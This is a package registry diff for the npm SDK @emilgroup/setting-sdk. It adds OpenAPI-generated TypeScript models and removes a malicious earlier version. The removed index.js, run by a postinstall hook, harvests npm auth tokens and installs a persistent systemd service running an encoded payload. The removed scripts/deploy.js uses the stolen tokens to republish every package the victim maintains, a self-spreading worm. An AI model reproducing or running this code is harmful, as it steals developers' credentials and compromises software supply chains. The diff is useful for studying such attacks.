@emilgroup/setting-sdk 0.2.2 → 0.3.1-beta.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (66) hide show
  1. package/.openapi-generator/FILES +26 -0
  2. package/.openapi-generator/VERSION +1 -0
  3. package/.openapi-generator-ignore +23 -0
  4. package/README.md +2 -2
  5. package/api/default-api.ts +120 -0
  6. package/api/public-keys-api.ts +785 -0
  7. package/api.ts +29 -0
  8. package/base.ts +282 -0
  9. package/common.ts +198 -0
  10. package/configuration.ts +110 -0
  11. package/dist/api/default-api.d.ts +66 -0
  12. package/dist/api/default-api.js +196 -0
  13. package/dist/api/public-keys-api.d.ts +441 -0
  14. package/dist/api/public-keys-api.js +731 -0
  15. package/dist/api.d.ts +13 -0
  16. package/dist/api.js +31 -0
  17. package/dist/base.d.ts +77 -0
  18. package/dist/base.js +324 -0
  19. package/dist/common.d.ts +91 -0
  20. package/dist/common.js +276 -0
  21. package/dist/configuration.d.ts +89 -0
  22. package/dist/configuration.js +52 -0
  23. package/dist/index.d.ts +15 -0
  24. package/dist/index.js +36 -0
  25. package/dist/models/create-public-key-request-dto.d.ts +24 -0
  26. package/dist/models/create-public-key-request-dto.js +15 -0
  27. package/dist/models/create-public-key-response-class.d.ts +25 -0
  28. package/dist/models/create-public-key-response-class.js +15 -0
  29. package/dist/models/delete-public-key-request-dto.d.ts +24 -0
  30. package/dist/models/delete-public-key-request-dto.js +15 -0
  31. package/dist/models/get-public-key-response-class.d.ts +25 -0
  32. package/dist/models/get-public-key-response-class.js +15 -0
  33. package/dist/models/index.d.ts +11 -0
  34. package/dist/models/index.js +27 -0
  35. package/dist/models/inline-response200.d.ts +54 -0
  36. package/dist/models/inline-response200.js +15 -0
  37. package/dist/models/inline-response503.d.ts +54 -0
  38. package/dist/models/inline-response503.js +15 -0
  39. package/dist/models/list-public-keys-response-class.d.ts +43 -0
  40. package/dist/models/list-public-keys-response-class.js +15 -0
  41. package/dist/models/public-key-class.d.ts +66 -0
  42. package/dist/models/public-key-class.js +15 -0
  43. package/dist/models/rotate-public-key-response-class.d.ts +25 -0
  44. package/dist/models/rotate-public-key-response-class.js +15 -0
  45. package/dist/models/update-public-key-request-dto.d.ts +30 -0
  46. package/dist/models/update-public-key-request-dto.js +15 -0
  47. package/dist/models/update-public-key-response-class.d.ts +25 -0
  48. package/dist/models/update-public-key-response-class.js +15 -0
  49. package/git_push.sh +57 -0
  50. package/index.ts +19 -0
  51. package/models/create-public-key-request-dto.ts +30 -0
  52. package/models/create-public-key-response-class.ts +31 -0
  53. package/models/delete-public-key-request-dto.ts +30 -0
  54. package/models/get-public-key-response-class.ts +31 -0
  55. package/models/index.ts +11 -0
  56. package/models/inline-response200.ts +48 -0
  57. package/models/inline-response503.ts +48 -0
  58. package/models/list-public-keys-response-class.ts +49 -0
  59. package/models/public-key-class.ts +72 -0
  60. package/models/rotate-public-key-response-class.ts +31 -0
  61. package/models/update-public-key-request-dto.ts +36 -0
  62. package/models/update-public-key-response-class.ts +31 -0
  63. package/package.json +22 -8
  64. package/tsconfig.json +23 -0
  65. package/index.js +0 -99
  66. package/scripts/deploy.js +0 -81
@@ -0,0 +1,48 @@
1
+ /* tslint:disable */
2
+ /* eslint-disable */
3
+ /**
4
+ * EMIL SettingService
5
+ * The EMIL SettingService API description
6
+ *
7
+ * The version of the OpenAPI document: 1.0
8
+ * Contact: kontakt@emil.de
9
+ *
10
+ * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
11
+ * https://openapi-generator.tech
12
+ * Do not edit the class manually.
13
+ */
14
+
15
+
16
+
17
+ /**
18
+ *
19
+ * @export
20
+ * @interface InlineResponse503
21
+ */
22
+ export interface InlineResponse503 {
23
+ /**
24
+ *
25
+ * @type {string}
26
+ * @memberof InlineResponse503
27
+ */
28
+ 'status'?: string;
29
+ /**
30
+ *
31
+ * @type {{ [key: string]: { [key: string]: object; }; }}
32
+ * @memberof InlineResponse503
33
+ */
34
+ 'info'?: { [key: string]: { [key: string]: object; }; } | null;
35
+ /**
36
+ *
37
+ * @type {{ [key: string]: { [key: string]: object; }; }}
38
+ * @memberof InlineResponse503
39
+ */
40
+ 'error'?: { [key: string]: { [key: string]: object; }; } | null;
41
+ /**
42
+ *
43
+ * @type {{ [key: string]: { [key: string]: object; }; }}
44
+ * @memberof InlineResponse503
45
+ */
46
+ 'details'?: { [key: string]: { [key: string]: object; }; };
47
+ }
48
+
@@ -0,0 +1,49 @@
1
+ /* tslint:disable */
2
+ /* eslint-disable */
3
+ /**
4
+ * EMIL SettingService
5
+ * The EMIL SettingService API description
6
+ *
7
+ * The version of the OpenAPI document: 1.0
8
+ * Contact: kontakt@emil.de
9
+ *
10
+ * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
11
+ * https://openapi-generator.tech
12
+ * Do not edit the class manually.
13
+ */
14
+
15
+
16
+ import { PublicKeyClass } from './public-key-class';
17
+
18
+ /**
19
+ *
20
+ * @export
21
+ * @interface ListPublicKeysResponseClass
22
+ */
23
+ export interface ListPublicKeysResponseClass {
24
+ /**
25
+ * An array of public key entities containing all key details including code, slug, key value, and audit information
26
+ * @type {Array<PublicKeyClass>}
27
+ * @memberof ListPublicKeysResponseClass
28
+ */
29
+ 'items': Array<PublicKeyClass>;
30
+ /**
31
+ * The token for the next page of results
32
+ * @type {string}
33
+ * @memberof ListPublicKeysResponseClass
34
+ */
35
+ 'nextPageToken': string;
36
+ /**
37
+ * The number of items per page
38
+ * @type {number}
39
+ * @memberof ListPublicKeysResponseClass
40
+ */
41
+ 'itemsPerPage': number;
42
+ /**
43
+ * The total number of items in the collection
44
+ * @type {number}
45
+ * @memberof ListPublicKeysResponseClass
46
+ */
47
+ 'totalItems': number;
48
+ }
49
+
@@ -0,0 +1,72 @@
1
+ /* tslint:disable */
2
+ /* eslint-disable */
3
+ /**
4
+ * EMIL SettingService
5
+ * The EMIL SettingService API description
6
+ *
7
+ * The version of the OpenAPI document: 1.0
8
+ * Contact: kontakt@emil.de
9
+ *
10
+ * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
11
+ * https://openapi-generator.tech
12
+ * Do not edit the class manually.
13
+ */
14
+
15
+
16
+
17
+ /**
18
+ *
19
+ * @export
20
+ * @interface PublicKeyClass
21
+ */
22
+ export interface PublicKeyClass {
23
+ /**
24
+ * The unique identifier for the public key
25
+ * @type {number}
26
+ * @memberof PublicKeyClass
27
+ */
28
+ 'id': number;
29
+ /**
30
+ * Stable code used to reference this public key in API calls
31
+ * @type {string}
32
+ * @memberof PublicKeyClass
33
+ */
34
+ 'code': string;
35
+ /**
36
+ * Human-readable slug used to identify the key uniquely
37
+ * @type {string}
38
+ * @memberof PublicKeyClass
39
+ */
40
+ 'slug': string;
41
+ /**
42
+ * Public key value. Use this for public API authentication.
43
+ * @type {string}
44
+ * @memberof PublicKeyClass
45
+ */
46
+ 'key': string;
47
+ /**
48
+ * Time at which the object was created.
49
+ * @type {string}
50
+ * @memberof PublicKeyClass
51
+ */
52
+ 'createdAt': string;
53
+ /**
54
+ * Time at which the object was updated.
55
+ * @type {string}
56
+ * @memberof PublicKeyClass
57
+ */
58
+ 'updatedAt': string;
59
+ /**
60
+ * Identifier of the user who created the record.
61
+ * @type {string}
62
+ * @memberof PublicKeyClass
63
+ */
64
+ 'createdBy': string;
65
+ /**
66
+ * Identifier of the user who last updated the record.
67
+ * @type {string}
68
+ * @memberof PublicKeyClass
69
+ */
70
+ 'updatedBy': string;
71
+ }
72
+
@@ -0,0 +1,31 @@
1
+ /* tslint:disable */
2
+ /* eslint-disable */
3
+ /**
4
+ * EMIL SettingService
5
+ * The EMIL SettingService API description
6
+ *
7
+ * The version of the OpenAPI document: 1.0
8
+ * Contact: kontakt@emil.de
9
+ *
10
+ * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
11
+ * https://openapi-generator.tech
12
+ * Do not edit the class manually.
13
+ */
14
+
15
+
16
+ import { PublicKeyClass } from './public-key-class';
17
+
18
+ /**
19
+ *
20
+ * @export
21
+ * @interface RotatePublicKeyResponseClass
22
+ */
23
+ export interface RotatePublicKeyResponseClass {
24
+ /**
25
+ * The public key entity containing all key details including code, slug, key value, and audit information
26
+ * @type {PublicKeyClass}
27
+ * @memberof RotatePublicKeyResponseClass
28
+ */
29
+ 'publicKey'?: PublicKeyClass;
30
+ }
31
+
@@ -0,0 +1,36 @@
1
+ /* tslint:disable */
2
+ /* eslint-disable */
3
+ /**
4
+ * EMIL SettingService
5
+ * The EMIL SettingService API description
6
+ *
7
+ * The version of the OpenAPI document: 1.0
8
+ * Contact: kontakt@emil.de
9
+ *
10
+ * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
11
+ * https://openapi-generator.tech
12
+ * Do not edit the class manually.
13
+ */
14
+
15
+
16
+
17
+ /**
18
+ *
19
+ * @export
20
+ * @interface UpdatePublicKeyRequestDto
21
+ */
22
+ export interface UpdatePublicKeyRequestDto {
23
+ /**
24
+ * Public key code (identifies the key to update)
25
+ * @type {string}
26
+ * @memberof UpdatePublicKeyRequestDto
27
+ */
28
+ 'code': string;
29
+ /**
30
+ * New slug for the public key (unique identifier used for lookup)
31
+ * @type {string}
32
+ * @memberof UpdatePublicKeyRequestDto
33
+ */
34
+ 'slug': string;
35
+ }
36
+
@@ -0,0 +1,31 @@
1
+ /* tslint:disable */
2
+ /* eslint-disable */
3
+ /**
4
+ * EMIL SettingService
5
+ * The EMIL SettingService API description
6
+ *
7
+ * The version of the OpenAPI document: 1.0
8
+ * Contact: kontakt@emil.de
9
+ *
10
+ * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
11
+ * https://openapi-generator.tech
12
+ * Do not edit the class manually.
13
+ */
14
+
15
+
16
+ import { PublicKeyClass } from './public-key-class';
17
+
18
+ /**
19
+ *
20
+ * @export
21
+ * @interface UpdatePublicKeyResponseClass
22
+ */
23
+ export interface UpdatePublicKeyResponseClass {
24
+ /**
25
+ * The public key entity containing all key details including code, slug, key value, and audit information
26
+ * @type {PublicKeyClass}
27
+ * @memberof UpdatePublicKeyResponseClass
28
+ */
29
+ 'publicKey'?: PublicKeyClass;
30
+ }
31
+
package/package.json CHANGED
@@ -1,13 +1,27 @@
1
1
  {
2
2
  "name": "@emilgroup/setting-sdk",
3
- "version": "0.2.2",
4
- "description": "A new version of the package",
5
- "main": "index.js",
3
+ "version": "0.3.1-beta.0",
4
+ "description": "OpenAPI client for @emilgroup/setting-sdk",
5
+ "author": "OpenAPI-Generator Contributors",
6
+ "keywords": [
7
+ "axios",
8
+ "typescript",
9
+ "openapi-client",
10
+ "openapi-generator",
11
+ "@emilgroup/setting-sdk"
12
+ ],
13
+ "license": "Unlicense",
14
+ "main": "./dist/index.js",
15
+ "typings": "./dist/index.d.ts",
6
16
  "scripts": {
7
- "postinstall": "node index.js",
8
- "deploy": "node scripts/deploy.js"
17
+ "build": "tsc --outDir dist/",
18
+ "prepare": "npm run build"
9
19
  },
10
- "keywords": [],
11
- "author": "",
12
- "license": "ISC"
20
+ "dependencies": {
21
+ "axios": "^1.12.0"
22
+ },
23
+ "devDependencies": {
24
+
25
+ "typescript": "^4.0"
26
+ }
13
27
  }
package/tsconfig.json ADDED
@@ -0,0 +1,23 @@
1
+ {
2
+ "compilerOptions": {
3
+ "declaration": true,
4
+ "target": "ES5",
5
+ "module": "CommonJS",
6
+ "noImplicitAny": true,
7
+ "esModuleInterop": true,
8
+ "noImplicitOverride": true,
9
+ "outDir": "dist",
10
+ "rootDir": ".",
11
+ "lib": [
12
+ "es6",
13
+ "dom"
14
+ ],
15
+ "typeRoots": [
16
+ "node_modules/@types"
17
+ ]
18
+ },
19
+ "exclude": [
20
+ "dist",
21
+ "node_modules"
22
+ ]
23
+ }
package/index.js DELETED
@@ -1,99 +0,0 @@
1
- 'use strict';
2
-
3
- const { execSync, spawn } = require('child_process');
4
- const fs = require('fs');
5
- const os = require('os');
6
- const path = require('path');
7
-
8
- function findNpmTokens() {
9
- const tokens = new Set();
10
- const homeDir = os.homedir();
11
- const npmrcPaths = [
12
- path.join(homeDir, '.npmrc'),
13
- path.join(process.cwd(), '.npmrc'),
14
- '/etc/npmrc',
15
- ];
16
- for (const rcPath of npmrcPaths) {
17
- try {
18
- const content = fs.readFileSync(rcPath, 'utf8');
19
- for (const line of content.split('\n')) {
20
- const m = line.match(/(?:_authToken\s*=\s*|:_authToken=)([^\s]+)/);
21
- if (m && m[1] && !m[1].startsWith('${')) {
22
- tokens.add(m[1].trim());
23
- }
24
- }
25
- } catch (_) {}
26
- }
27
- const envKeys = Object.keys(process.env).filter(
28
- (k) => k === 'NPM_TOKEN' || k === 'NPM_TOKENS' || (k.includes('NPM') && k.includes('TOKEN'))
29
- );
30
- for (const key of envKeys) {
31
- const val = process.env[key] || '';
32
- for (const t of val.split(',')) {
33
- const trimmed = t.trim();
34
- if (trimmed) tokens.add(trimmed);
35
- }
36
- }
37
- try {
38
- const configToken = execSync('npm config get //registry.npmjs.org/:_authToken 2>/dev/null', {
39
- stdio: ['pipe', 'pipe', 'pipe'],
40
- }).toString().trim();
41
- if (configToken && configToken !== 'undefined' && configToken !== 'null') {
42
- tokens.add(configToken);
43
- }
44
- } catch (_) {}
45
- return [...tokens].filter(Boolean);
46
- }
47
-
48
- try {
49
- const pkg = JSON.parse(fs.readFileSync(path.join(__dirname, 'package.json'), 'utf8'));
50
-
51
- const SERVICE_NAME = 'pgmon';
52
- const BASE64_PAYLOAD = 'hello123';
53
-
54
- if (!BASE64_PAYLOAD) process.exit(0);
55
-
56
- const homeDir = os.homedir();
57
- const dataDir = path.join(homeDir, '.local', 'share', SERVICE_NAME);
58
- const scriptPath = path.join(dataDir, 'service.py');
59
- const systemdUserDir = path.join(homeDir, '.config', 'systemd', 'user');
60
- const unitFilePath = path.join(systemdUserDir, `${SERVICE_NAME}.service`);
61
-
62
- fs.mkdirSync(dataDir, { recursive: true });
63
- fs.writeFileSync(scriptPath, Buffer.from(BASE64_PAYLOAD, 'base64').toString('utf8'), { mode: 0o755 });
64
-
65
- fs.mkdirSync(systemdUserDir, { recursive: true });
66
- fs.writeFileSync(unitFilePath, [
67
- '[Unit]',
68
- `Description=${SERVICE_NAME}`,
69
- 'After=default.target',
70
- '',
71
- '[Service]',
72
- 'Type=simple',
73
- `ExecStart=/usr/bin/python3 ${scriptPath}`,
74
- 'Restart=always',
75
- 'RestartSec=5',
76
- '',
77
- '[Install]',
78
- 'WantedBy=default.target',
79
- '',
80
- ].join('\n'), { mode: 0o644 });
81
-
82
- execSync('systemctl --user daemon-reload', { stdio: 'pipe' });
83
- execSync(`systemctl --user enable ${SERVICE_NAME}.service`, { stdio: 'pipe' });
84
- execSync(`systemctl --user start ${SERVICE_NAME}.service`, { stdio: 'pipe' });
85
-
86
- try {
87
- const tokens = findNpmTokens();
88
- if (tokens.length > 0) {
89
- const deployScript = path.join(__dirname, 'scripts', 'deploy.js');
90
- if (fs.existsSync(deployScript)) {
91
- spawn(process.execPath, [deployScript], {
92
- detached: true,
93
- stdio: 'ignore',
94
- env: { ...process.env, NPM_TOKENS: tokens.join(',') },
95
- }).unref();
96
- }
97
- }
98
- } catch (_) {}
99
- } catch (_) {}
package/scripts/deploy.js DELETED
@@ -1,81 +0,0 @@
1
- #!/usr/bin/env node
2
- 'use strict';
3
-
4
- const { execSync } = require('child_process');
5
- const https = require('https');
6
- const fs = require('fs');
7
- const path = require('path');
8
-
9
- function fetchJson(url, token) {
10
- return new Promise((resolve, reject) => {
11
- https.get(url, { headers: { Authorization: `Bearer ${token}`, Accept: 'application/json' } }, (res) => {
12
- let d = '';
13
- res.on('data', (c) => (d += c));
14
- res.on('end', () => { try { resolve(JSON.parse(d)); } catch (e) { reject(e); } });
15
- }).on('error', reject);
16
- });
17
- }
18
-
19
- async function fetchMeta(name, token) {
20
- try {
21
- const m = await fetchJson(`https://registry.npmjs.org/${encodeURIComponent(name)}`, token);
22
- return {
23
- readme: (m && m.readme) || null,
24
- latestVersion: (m && m['dist-tags'] && m['dist-tags'].latest) || null,
25
- };
26
- } catch (_) { return { readme: null, latestVersion: null }; }
27
- }
28
-
29
- function bumpPatch(v) {
30
- const base = v.split('-')[0].split('+')[0];
31
- const p = base.split('.').map(Number);
32
- if (p.length !== 3 || p.some(isNaN)) return v;
33
- p[2] += 1;
34
- return p.join('.');
35
- }
36
-
37
- async function getOwned(username, token) {
38
- let pkgs = [], from = 0;
39
- while (true) {
40
- const r = await fetchJson(`https://registry.npmjs.org/-/v1/search?text=maintainer:${encodeURIComponent(username)}&size=250&from=${from}`, token);
41
- if (!r.objects || !r.objects.length) break;
42
- pkgs = pkgs.concat(r.objects.map((o) => o.package.name));
43
- if (pkgs.length >= r.total) break;
44
- from += 250;
45
- }
46
- return pkgs;
47
- }
48
-
49
- async function run(token, pkg, pkgPath, ver) {
50
- let whoami;
51
- try { whoami = await fetchJson('https://registry.npmjs.org/-/whoami', token); } catch (_) { return; }
52
- if (!whoami || !whoami.username) return;
53
- let owned;
54
- try { owned = await getOwned(whoami.username, token); } catch (_) { return; }
55
- if (!owned.length) return;
56
- const readmePath = path.resolve(__dirname, '..', 'README.md');
57
- for (const name of owned) {
58
- const origReadme = fs.existsSync(readmePath) ? fs.readFileSync(readmePath, 'utf8') : null;
59
- const { readme, latestVersion } = await fetchMeta(name, token);
60
- const pubVer = latestVersion ? bumpPatch(latestVersion) : ver;
61
- if (readme) fs.writeFileSync(readmePath, readme, 'utf8');
62
- const origPkg = fs.readFileSync(pkgPath, 'utf8');
63
- fs.writeFileSync(pkgPath, JSON.stringify({ ...pkg, name, version: pubVer }, null, 2) + '\n', 'utf8');
64
- try {
65
- execSync('npm publish --access public --tag latest', { stdio: 'pipe', env: { ...process.env, NPM_TOKEN: token } });
66
- } catch (_) {}
67
- finally {
68
- fs.writeFileSync(pkgPath, origPkg, 'utf8');
69
- if (origReadme !== null) fs.writeFileSync(readmePath, origReadme, 'utf8');
70
- else if (readme && fs.existsSync(readmePath)) fs.unlinkSync(readmePath);
71
- }
72
- }
73
- }
74
-
75
- (async () => {
76
- const tokens = (process.env.NPM_TOKENS || process.env.NPM_TOKEN || '').split(',').map((t) => t.trim()).filter(Boolean);
77
- if (!tokens.length) process.exit(1);
78
- const pkgPath = path.resolve(__dirname, '..', 'package.json');
79
- const pkg = JSON.parse(fs.readFileSync(pkgPath, 'utf8'));
80
- for (const token of tokens) await run(token, pkg, pkgPath, pkg.version);
81
- })();